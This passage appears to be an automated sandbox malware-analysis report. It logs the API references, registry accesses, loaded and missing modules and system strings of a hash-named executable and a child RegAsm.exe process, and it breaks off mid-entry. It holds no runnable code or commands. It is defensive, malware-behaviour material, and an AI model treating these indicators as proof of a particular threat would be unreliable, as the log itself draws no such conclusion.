"RtlZeroMemory"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "NtResumeProcess"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp")32:T6ae,"Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" in Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13 "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13 "Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" in Source: 00000000-00005956.00000000.80976.00DE4000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005956.00000000.80976.00DE4000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion" in Source: 00000000-00005956.00000000.80976.00DE4000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\ProfileReconciliation" in Source: 00000000-00005956.00000000.80976.00DE4000.00000002.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005956.00000000.80976.020E0000.00000004.mdmp 00000000-00005956.00000001.81246.020E0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005956.00000000.80976.020E0000.00000004.mdmp 00000000-00005956.00000001.81246.020E0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005956.00000001.81246.00320000.00000004.mdmp "EGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005956.00000001.81246.00320000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005956.00000001.81246.00320000.00000004.mdmp33:T12fb,"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" failed to load missing module "amsi.dll" - [base:0; Status:c0000135] "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\ntdll.dll" - [base:0; Status:c0000135] "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "RegAsm.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "RegAsm.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "RegAsm.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "RegAsm.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "RegAsm.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "RegAsm.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "RegAsm.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "RegAsm.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "RegAsm.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "RegAsm.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "RegAsm.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "RegAsm.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "RegAsm.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "RegAsm.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "RegAsm.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135]34:T602,"Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" in Source: 00000000-00005956.00000000.80976.00DE4000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005956.00000000.80976.00DE4000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion" in Source: 00000000-00005956.00000000.80976.00DE4000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\ProfileReconciliation" in Source: 00000000-00005956.00000000.80976.00DE4000.00000002.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005956.00000000.80976.020E0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005956.00000000.80976.020E0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005956.00000001.81246.00320000.00000004.mdmp "EGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005956.00000001.81246.00320000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005956.00000001.81246.00320000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005956.00000001.81246.020E0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005956.00000001.81246.020E0000.00000004.mdmp35:T2549,"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 653a0000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71120000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "KERNEL32" at base 75710000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "ADVAPI32.DLL" at base 77350000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6bbe0000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "SHLWAPI.DLL" at base 77030000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "VERSION.DLL" at base 74870000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 64bf0000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "USER32.DLL" at base 75980000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "MSCOREE.DLL" at base 6bc70000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "PSAPI.DLL" at base 77290000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "RPCRT4.DLL" at base 758a0000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "KERNEL32.DLL" at base 75710000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 637e0000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "OLE32.DLL" at base 76e10000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "CRYPTBASE.DLL" at base 752d0000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74150000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 6cfa0000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6a0d0000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 62d80000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 62560000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.V9921E851#\A891970B44DB9E340C3EF3EFA95B793C\MICROSOFT.VISUALBASIC.NI.DLL" at base 62370000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6cf00000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "SHELL32.DLL" at base 76140000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "CRYPTSP.DLL" at base 74de0000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74b70000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 68570000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 61500000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "BCRYPT.DLL" at base 74ef0000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "ADVAPI32" at base 77350000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "NTMARTA.DLL" at base 74840000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75a90000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "RPCRTREMOTE.DLL" at base 75370000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "%TEMP%\PROTECT544CD51A.DLL" at base 61440000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "OLEAUT32.DLL" at base 75800000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "SXS.DLL" at base 752e0000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75280000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "NTDLL.DLL" at base 774d0000 "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 61110000 "RegAsm.exe" loaded module "VERSION.DLL" at base 74870000 "RegAsm.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71120000 "RegAsm.exe" loaded module "KERNEL32" at base 75710000 "RegAsm.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 64bf0000 "RegAsm.exe" loaded module "USER32.DLL" at base 75980000 "RegAsm.exe" loaded module "MSCOREE.DLL" at base 6bc70000 "RegAsm.exe" loaded module "PSAPI.DLL" at base 77290000 "RegAsm.exe" loaded module "RPCRT4.DLL" at base 758a0000 "RegAsm.exe" loaded module "KERNEL32.DLL" at base 75710000 "RegAsm.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 637e0000 "RegAsm.exe" loaded module "OLE32.DLL" at base 76e10000 "RegAsm.exe" loaded module "CRYPTBASE.DLL" at base 752d0000 "RegAsm.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 6cfa0000 "RegAsm.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 68690000 "RegAsm.exe" loaded module "ADVAPI32.DLL" at base 77350000 "RegAsm.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 62320000 "RegAsm.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6c620000 "RegAsm.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 62fc0000 "RegAsm.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 68580000 "RegAsm.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 61ba0000 "RegAsm.exe" loaded module "NTDLL.DLL" at base 774d0000 "RegAsm.exe" loaded module "SHELL32.DLL" at base 76140000 "RegAsm.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75a90000 "RegAsm.exe" loaded module "PROFAPI.DLL" at base 753f0000 "RegAsm.exe" loaded module "BCRYPT.DLL" at base 74ef0000 "RegAsm.exe" loaded module "CRYPTSP.DLL" at base 74de0000 "RegAsm.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74b70000 "RegAsm.exe" loaded module "RASAPI32.DLL" at base 6bed0000 "RegAsm.exe" loaded module "RTUTILS.DLL" at base 731f0000 "RegAsm.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 75a90000 "RegAsm.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base 75a90000 "RegAsm.exe" loaded module "WS2_32.DLL" at base 75a50000 "RegAsm.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74da0000 "RegAsm.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74900000 "RegAsm.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74d90000 "RegAsm.exe" loaded module "RASMAN.DLL" at base 6c3d0000 "RegAsm.exe" loaded module "WINHTTP.DLL" at base 70a70000 "RegAsm.exe" loaded module "SHLWAPI.DLL" at base 77030000 "RegAsm.exe" loaded module "SSPICLI.DLL" at base 75260000 "RegAsm.exe" loaded module "CREDSSP.DLL" at base 74aa0000 "RegAsm.exe" loaded module "IPHLPAPI.DLL" at base 73730000 "RegAsm.exe" loaded module "DHCPCSVC6.DLL" at base 73630000 "RegAsm.exe" loaded module "DHCPCSVC.DLL" at base 73560000 "RegAsm.exe" loaded module "NSI.DLL" at base 757f0000 "RegAsm.exe" loaded module "CFGMGR32.DLL" at base 75400000 "RegAsm.exe" loaded module "OLEAUT32.DLL" at base 75800000 "RegAsm.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base 75a90000 "RegAsm.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 62e10000 "RegAsm.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 603b0000 "RegAsm.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7415000036:Tf6b,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00005956-00000C2B-273707335] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00005956-00000C2B-274243657] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00005956-00000C2B-275318418] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00005956-00000C2B-275440504] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00005956-00000C2B-275679259] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00005956-00000C2B-275740655] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00005956-00000C2B-275871749] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00005956-00000C2B-276178931] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00005956-00000C2B-276256834] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00005956-00000C2B-276326320] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\a891970b44db9e340c3ef3efa95b793c\Microsoft.VisualBasic.ni.dll" [Source: 00000000-00005956-00000C2B-276406511] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00005956-00000C2B-276479837] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00005956-00000C2B-276669105] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00005956-00000C2B-277637009] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00005956-00000C2B-277717619] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00005956-00000C2B-278030375] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" [Source: 00000000-00005956-00000C2B-278133139] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" [Source: 00000000-00005956-00000C2B-278236642] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00005956-00000C2B-278583307] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00005956-00000C2B-279341629] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00005956-00000C2B-279502646] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\ntdll.dll" [Source: 00000000-00005956-00000C2B-280083039] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" [Source: 00000000-00005956-00000C2B-280267451] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll" [Source: 00000000-00005956-00000C2B-281288841] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0\clr.dll" [Source: 00000000-00004108-00000C2B-280569048]37:Tacd,"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT"; Key: ""; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: ""; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: ""; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IME COMPATIBILITY"; Key: ""; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: ""; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: ""; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\TRACING"; Key: ""; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLEAUT"; Key: ""; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "")38:Tdc2,"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "A939923A67E6C9D0BA120381E2BC5323EA80527E333D977366C2A5669A995E13"; 